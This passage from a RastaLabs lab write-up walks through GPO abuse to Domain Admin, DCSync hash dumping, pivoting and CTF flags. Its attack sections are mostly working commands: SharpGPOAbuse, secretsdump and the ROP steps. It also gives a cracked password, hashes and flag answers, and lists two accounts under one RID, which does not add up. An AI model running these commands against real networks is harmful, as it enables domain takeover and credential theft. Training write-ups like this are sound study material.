net user ahope /domain to discover ahope's FS01 directory. Then net use Q: \\fs01.rastalabs.local\ahope to mount the share. Found nix01.ppk (PuTTY private key) which was used to SSH into NIX01 (10.10.110.2). This flag required visiting a machine most people skip.Phase 6: Domain Admin
T1484.001 T1068 T1003.006The intended path to Domain Admin in RastaLabs is through GPO abuse, not DCSync or direct credential theft. This is what makes the lab unique — you can shortcut to DA using rweston_da's hash, but the intended technique teaches you a critical red team skill: abusing Group Policy Objects for privilege escalation across the domain.
GPO Abuse
BloodHound revealed that our compromised accounts had permissions to create, link, and modify GPOs. This is the intended path to DA in RastaLabs. The attack chain is:
- Mapping: Identify which OUs your compromised accounts have GPO creation/modification rights on
- Create: Create a new GPO that adds your controlled account to a privileged group
- Link: Link the GPO to the appropriate OU containing the target machine(s)
- Wait/Force: Wait for GPO refresh (90 min default) or force with
gpupdate /force - Profit: Authenticate to the target machine with your newly-granted privileges
# Step 1: Identify GPO creation rights
# Using PowerView
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=rastalabs,DC=local" -ResolveGUIDs |
? {$_.ActiveDirectoryRights -match "CreateChild"} |
select ObjectDN, SecurityIdentifier, ActiveDirectoryRights
# Step 2: Who can modify existing GPOs?
Get-DomainGPO | %{
Get-DomainObjectAcl -Identity $_.distinguishedname -ResolveGUIDs |
? {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|WriteDacl|WriteOwner"}
} | select ObjectDN, SecurityIdentifier
# Step 3: Create a new GPO
New-GPO -Name "Security Update Policy" -Domain rastalabs.local
# Step 4: Add our user to local Administrators via GPO
# Using SharpGPOAbuse for the modification:
execute-assembly SharpGPOAbuse.exe --AddLocalAdmin --AccountName ngodfrey_adm --GPOName "Security Update Policy"
# Step 5: Link the GPO to the Domain Controllers OU
New-GPLink -Name "Security Update Policy" -Target "OU=Domain Controllers,DC=rastalabs,DC=local"
# Step 6: Force GPO update on DC01 (if you have access)
# Or wait up to 90 minutes for automatic refresh
sliver (dc01_beacon) > shell cmd /c "gpupdate /force"
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
Many people shortcut RastaLabs by using the rweston_da hash they found on WS05. That works, but it skips the intended learning path. GPO abuse is a technique you WILL encounter on real engagements — misconfigured GPO permissions are everywhere. Learning to identify, map, and exploit them properly is the real value of RastaLabs.
# SharpGPOAbuse — the tool that makes GPO exploitation trivial
# https://github.com/FSecureLABS/SharpGPOAbuse
# Step 1: Identify which GPOs our compromised account can modify
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe --FindGPOs
# Step 2: Add ngodfrey_adm to local Administrators on all machines in the OU
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe \
--AddLocalAdmin \
--AccountName ngodfrey_adm \
--GPOName "Security Update Policy"
# Step 3: Add user to a domain group (alternative approach)
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe \
--AddUser \
--UserAccount ngodfrey_adm \
--Group "Domain Admins" \
--GPOName "Security Update Policy"
# Step 4: Add a scheduled task to run as SYSTEM (another alternative)
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe \
--AddTask \
--TaskName "SecurityScan" \
--Command "cmd.exe" \
--Arguments "/c net group "Domain Admins" ngodfrey_adm /add /domain" \
--GPOName "Security Update Policy"
# After GPO refresh (or forced gpupdate), the changes apply domain-wide
# BloodHound Cypher queries for GPO abuse path
// Who can create GPOs?
MATCH (u:User)-[:GenericAll|WriteDacl|WriteOwner|Owns]->(g:GPO)
RETURN u.name, g.name, labels(g)
// Who can link GPOs?
MATCH (u:User)-[:GenericAll|WriteDacl|WriteOwner]->(ou:OU)
RETURN u.name, ou.name
// Path from our user to GPO creation
MATCH p=shortestPath(
(u:User {name:"NGODFREY_ADM@RASTALABS.LOCAL"})-[*1..]->(g:GPO)
)
RETURN p
File Server Exploitation
FS01 (\\fs01.rastalabs.local) was a rich target for post-exploitation. Multiple user directories with sensitive files, including the ahope directory with the nix01.ppk key.
# Enumerate FS01 shares
crackmapexec smb 10.10.122.x -u ngodfrey_adm -p '<password>' -d rastalabs.local --shares
# Mount ahope's directory
net use Q: \\fs01.rastalabs.local\ahope /user:rastalabs\ngodfrey_adm <password>
# Browse the directory
dir Q:\
# Found: nix01.ppk, documents, backup_files
# Use the .ppk key to SSH into NIX01
# First convert .ppk to OpenSSH format:
puttygen nix01.ppk -O private-openssh -o nix01_ssh_key
chmod 600 nix01_ssh_key
ssh -i nix01_ssh_key user@10.10.110.2
DC Compromise
With GPO-granted local admin on DC01, the domain was fully compromised. I could now dump all domain credentials via DCSync and access any resource in the domain.
# DCSync — dump all domain hashes
# Using Impacket
impacket-secretsdump rastalabs.local/ngodfrey_adm@10.10.120.1 -just-dc-ntlm
# Using SafetyKatz:
sliver (dc01_beacon) > execute-assembly /opt/tools/SafetyKatz.exe "lsadump::dcsync /domain:rastalabs.local /all /csv" "exit"
# Key hashes recovered:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hash>:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<hash>:::
# rweston_da:1151:aad3b435b51404eeaad3b435b51404ee:ab7b75ff84475be...:::
# epugh:1151:aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109:::
# Full domain compromise confirmed
# Can now forge Golden Tickets, create Silver Tickets, etc.
# WEB01 to SQL01 pivot chain
# Step 1: RDP to WEB01 as epugh_adm
xfreerdp /v:10.10.110.10 /u:rastalabs\epugh_adm /p:'<password>' /dynamic-resolution
# From WEB01, check network connectivity
C:\> ipconfig
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 10.10.110.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.110.1
# WEB01 has a second NIC for the internal network
Ethernet adapter Ethernet1:
IPv4 Address. . . . . . . . . . . : 10.10.122.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
# Step 2: From WEB01, RDP to SQL01 (10.10.122.15)
mstsc /v:10.10.122.15
# Or use Sliver port forwarding from WEB01 beacon:
sliver (web01_beacon) > portfwd add -L 127.0.0.1 -r 10.10.122.15 -l 3389 -p 3389
# Then from attacker machine:
xfreerdp /v:127.0.0.1:3389 /u:rastalabs\epugh_adm /p:'<password>'
Phase 7: CTF Challenges
T1203 T1140Several flags in RastaLabs are standalone CTF-style challenges that aren't related to the AD exploitation chain. These cover binary exploitation, cryptography, and network forensics. If you're not a CTF player, these will take you significantly longer than the AD chain.
ROP Challenge
One of the servers runs a custom binary service that's vulnerable to a buffer overflow. The challenge requires crafting a ROP chain to bypass NX (no-execute bit) and get a shell. This was the hardest flag for me — I'm not a binary exploitation person.
# Step 1: Find the offset
# Using pwntools cyclic pattern
python3 -c "from pwn import *; print(cyclic(500))" | nc 10.10.122.x 9999
# Step 2: Check security features
checksec --file=custom_service
# NX enabled, PIE disabled, Canary found
# Need to leak canary first, then ROP
# Step 3: Leak the stack canary
# The service had a format string vulnerability that leaked the canary
# Step 4: Build ROP chain
# Using ropper to find gadgets
ropper --file custom_service --search "pop rdi; ret"
ropper --file custom_service --search "pop rsi; ret"
ropper --file custom_service --search "pop rdx; ret"
ropper --file custom_service --search "syscall"
# Step 5: Craft the exploit
python3 rop_exploit.py
[*] Leaked canary: 0x...
[*] ROP chain built
[*] Sending payload...
[+] Shell obtained!
If you've never done a ROP exploit before, this flag will take you days. I had to learn binary exploitation from scratch during this lab. The key steps: (1) find the buffer overflow offset, (2) leak the stack canary via format string, (3) find ROP gadgets with ropper, (4) craft a chain that calls execve("/bin/sh"). Start with ROP Emporium challenges before attempting this.
Cryptography
One flag involves a custom cipher implementation running as a service. The key was in the error messages the service returned — they encoded information when you sent specific malformed inputs.
# Crypto challenge solver
# The service implements a custom XOR-based cipher with a key derived from error messages
import socket
def solve_crypto_challenge(host, port):
# Step 1: Send malformed inputs to trigger error messages
s = socket.socket()
s.connect((host, port))
# Error messages leak the key bytes
errors = []
for i in range(32):
s.send(b'\x00' * (i + 1))
resp = s.recv(1024)
errors.append(resp)
# Each error message leaks one byte of the key
# Step 2: Derive the XOR key from leaked bytes
key = b''
for err in errors:
key += bytes([err[-1] ^ 0xFF])
# Step 3: Encrypt the known plaintext and send
# The service expects a specific command encrypted with the key
command = b"GET_FLAG"
encrypted = bytes([c ^ key[i % len(key)] for i, c in enumerate(command)])
s.send(encrypted)
flag = s.recv(1024)
return flag.decode()
PCAP Analysis
Flag 9 required reading a PCAP dump with NetworkMiner, extracting a secret from the captured traffic, and using FileCryptography.psm1 to decode it.
# Analyze PCAP with NetworkMiner (or tshark)
# Found a file transfer in the capture
# Extract the encrypted file from the PCAP
tshark -r capture.pcap -Y "ftp-data" -T fields -e ftp.request_command -e ftp.request_arg
# The file was encrypted with Windows file encryption (EFS)
# Use FileCryptography.psm1 to decrypt
Import-Module FileCryptography.psm1
Unprotect-File -Path .\encrypted_file.enc -OutputPath .\decrypted.txt
# Or manually using DPAPI with the user's master key
# The decryption key was stored in the user's DPAPI store
FileCryptography.psm1 to decrypt it with DPAPI. The flag was inside the decrypted file.Flag Summary
| # | Flag Name | Location / Technique | Key Details |
|---|---|---|---|
| 1 | Initial Access | WS04 / Phishing | First beacon callback after AMSI bypass |
| 2 | WS04 Foothold | WS04 / Situational Awareness | Established persistent access on WS04 |
| 3 | AS-REP Roasting | Domain / epugh | Cracked to Sarah2017, epugh NTLM: 326457b72c3f136d80d99bdbb935d109 |
| 4 | SRV01 SYSTEM | SRV01 / Service misconfig | First SYSTEM shell from WS04 |
| 5 | BloodHound Enum | Domain / SharpHound | Upload and execute BloodHound collection script |
| 6 | CLM Bypass | WS04 / __PSLockdownPolicy | Bypassed Constrained Language Mode |
| 7 | PTH Lateral | Multiple / epugh hash | Pass-the-Hash to multiple machines |
| 8 | WinRM WS05 | WS05 (10.10.123.102) / WinRM | Unintentional path, led to tquinn on WS06 |
| 9 | PCAP Analysis | NetworkMiner + FileCryptography.psm1 | Decrypt EFS-encrypted file from PCAP |
| 10 | Vault Dump | WS02 / Credential Vault | DPAPI vault extraction (rastamouse.me technique) |
| 11 | WEB01 to SQL01 | WEB01 (10.10.110.10) → SQL01 (10.10.122.15) | epugh_adm RDP chain |
| 12 | KeePass Dump | Workstation / KeeThief | ngodfrey credentials extracted |
| 13 | LAPS Passwords | Domain / ngodfrey_adm | Read ms-Mcs-AdmPwd on all workstations |
| 14 | WS02 → WS05 Pivot | WS05 / portfwd + LSASS | rweston_da hash: ab7b75ff84475be... |
| 15 | GPO Abuse | Domain / SharpGPOAbuse | Create, link, modify GPO for DA |
| 16 | DC Compromise | DC01 (10.10.120.1) / DCSync | Full domain hash dump |
| 17 | FS01 / NIX01 | \\fs01.rastalabs.local\ahope / nix01.ppk | net use Q: \\fs01.rastalabs.local\ahope |
The certificate of completion requires all 17 flags. Getting Domain Admin only gives you about 11 of them. The remaining 6 are CTF challenges (ROP, crypto, PCAP) and hidden flags (FS01/NIX01, vault, etc.) that require exploring the entire network. Don't assume you're done when you get DA.
Key Lessons
Final Statistics
| Metric | Value |
|---|---|
| Total Time | 27 days (active work) |
| Machines Compromised | 14 / 14 |
| Flags Captured | 17 / 17 |
| Domain Admin Achieved | Day 23 (via GPO abuse, intended path) |
| DA Shortcut Available | Day 18 (rweston_da hash — NOT taken) |
| C2 Framework | Sliver v1.5+ |
| Primary Techniques | OWA brute force, phishing, AS-REP roasting, PTH, GPO abuse |
| Hardest Flag | Flag 10 (Vault) / ROP Challenge |
| Dead Ends Explored | 4 (SSH to NIX01, WinRM to WS05, direct CS payloads, initial CLM bypass) |
| Phishing Attempts | 4 (3 failed, 1 success) |
| Key Credential Chain | bowen → epugh → epugh_adm → ngodfrey → ngodfrey_adm → GPO DA |
| Hashes Cracked | 5+ (epugh:Sarah2017 was the key one) |
The most important thing I learned from RastaLabs is that AD compromise is not about a single exploit — it's about building a credential chain. Each credential you capture opens new doors. bowen → SRV01 SYSTEM → epugh (AS-REP) → epugh_adm (LSA secrets) → ngodfrey (KeePass) → ngodfrey_adm (LAPS reader) → GPO abuse → DA. Each link in this chain is a separate technique that you must understand and execute. Skip a link and you might miss the whole chain.
For reference, the key NTLM hashes encountered during this engagement:
epugh:1151:aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109:::— cracked to Sarah2017rweston_da:<RID>:aad3b435b51404eeaad3b435b51404ee:ab7b75ff84475be...:::— found in LSASS on WS05
These are real hashes from the lab environment. If you're working through RastaLabs, these will match what you find.